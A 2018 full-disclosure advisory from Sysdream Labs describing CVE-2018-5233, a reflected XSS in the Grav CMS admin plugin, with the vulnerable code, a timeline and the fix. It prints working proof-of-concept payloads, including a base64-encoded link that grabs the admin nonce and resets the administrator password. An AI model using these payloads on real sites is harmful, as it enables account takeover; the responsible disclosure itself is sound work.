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Date: Fri, 16 Mar 2018 09:56:22 +0100
From: Sydream Labs <labs@...dream.com>
To: fulldisclosure@...lists.org
Subject: [FD] [CVE-2018-5233] Grav CMS admin plugin Reflected Cross Site
 Scripting (XSS) vulnerability

# [CVE-2018-5233] Grav CMS admin plugin Reflected Cross Site Scripting
(XSS) vulnerability

## Description

Grav CMS is a flat-file CMS using Markdown files for content management
([Official Website](https://getgrav.org/)).

It has been elected "Best Open Source CMS of 2016" by [CMS
critic](https://www.cmscritic.com/the-winner-of-best-open-source-cms-for-2016-is-grav/).

The application does not always filter user input correctly, thereby
allowing an attacker to inject arbitrary Web content in the response of
the server (reflected Cross Site Scripting).

**CVE ID**: CVE-2018-5233

**Access Vector**: remote

**Security Risk**: high

**Vulnerability**: CWE-79

**CVSS Base Score**: 7.4

**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N


## Details

On lines 355 and 358 of `system/src/Grav/Common/Twig/Twig.php`,
unfiltered user input is passed in the `$error_msg` variable.

```
$output = $this->twig->render($template, $twig_vars);
} catch (\Twig_Error_Loader $e) {

.. snip ..

            throw new \RuntimeException($error_msg, 400, $e);
        }
    } else {
        throw new \RuntimeException($error_msg, 400, $e);
    }
}
```

As a result, generating an exception by accessing
`/admin/tools/someunexistingpage` and manipulating the
`someunexistingpage` part of the URL allows to inject arbitrary Web
content into the server's response.

## Proof of Concept #1

Visiting the following page:

```
/admin/tools/a--%3E%3Cimg%20src=x%20onerror=alert(1)%3E
```

will cause the execution of the `alert(1)` JavaScript code in the
context of the visitor's browser.

## Proof of Concept #2

By tricking a logged-in admin into visiting a malicious link, any
unauthenticated user can elevate its privileges to site administration.

Here follows a Proof of Concept code which:

1. Grabs the `admin-nonce` of the logged-in admin
2. Prints that nonce
3. Uses it to change the current admin's password to `Password7`

```
<script
src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>

<script>
adminNonce = "";
$.get( "/admin/user/admin",
function( data ) {adminNonce = $("input[name=admin-nonce]",
data).val()}).done(
function(){
alert(window.adminNonce);
$.post( "/admin/user/admin", {
    "task": "save",
        "admin-nonce": adminNonce,
    "data[password]": "Password7"},
    function(data){document.write(data)})}
);
</script>
```

Here is the base64 encoded version of the payload, injected in the
malicious link:

```
http://example.site.com/admin/tools/a--%3E%3Cimg%20src=x%20onerror=document['write'](atob('PHNjcmlwdCBzcmM9Imh0dHBzOi8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzMuMi4xL2pxdWVyeS5taW4uanMiPjwvc2NyaXB0PjxzY3JpcHQ+YWRtaW5Ob25jZSA9ICIiOyQuZ2V0KCAiL2FkbWluL3VzZXIvYWRtaW4iLCBmdW5jdGlvbiggZGF0YSApIHthZG1pbk5vbmNlID0gJCgiaW5wdXRbbmFtZT1hZG1pbi1ub25jZV0iLCBkYXRhKS52YWwoKX0pLmRvbmUoZnVuY3Rpb24oKXthbGVydCh3aW5kb3cuYWRtaW5Ob25jZSk7JC5wb3N0KCAiL2FkbWluL3VzZXIvYWRtaW4iLCB7ICJ0YXNrIjogInNhdmUiLCAiYWRtaW4tbm9uY2UiOiBhZG1pbk5vbmNlLCJkYXRhW3Bhc3N3b3JkXSI6ICJQYXNzd29yZDcifSwgZnVuY3Rpb24oZGF0YSl7ZG9jdW1lbnQud3JpdGUoZGF0YSl9KX0pOzwvc2NyaXB0Pgo='))%3E
```

Now, after the attacker tricks a logged-in admin into clicking on this
link, the admin's password is changed to the attacker controlled value.
Thus, the attacker can log in with `Password7` and navigate inside the
administration interface.


## Timeline (dd/mm/yyyy)

* 01/07/2017 : Initial discovery
* 01/07/2017 : Contact with the editor (email address)
* 02/07/2017 : Editor acknowledges the report
* 02/07/2017 : Sending further details and PoC code to the editor
* 04/07/2017 : Editor fixes the vulnerability
* 15/03/2018 : Advisory publication

## Fixes

Upgrade to version 1.3.0 and above (currently 1.3.10)

## Affected versions

* Version 1.2.4 (last stable version as of 02/07/2017 - previous
versions are probably also vulnerable but not tested)

## Credits

* Kevin LOCATI <k.locati@...dream.com>


-- 
SYSDREAM Labs <labs@...dream.com>

GPG :
47D1 E124 C43E F992 2A2E
1551 8EB4 8CD9 D5B2 59A1

* Website: https://sysdream.com/
* Twitter: @sysdream




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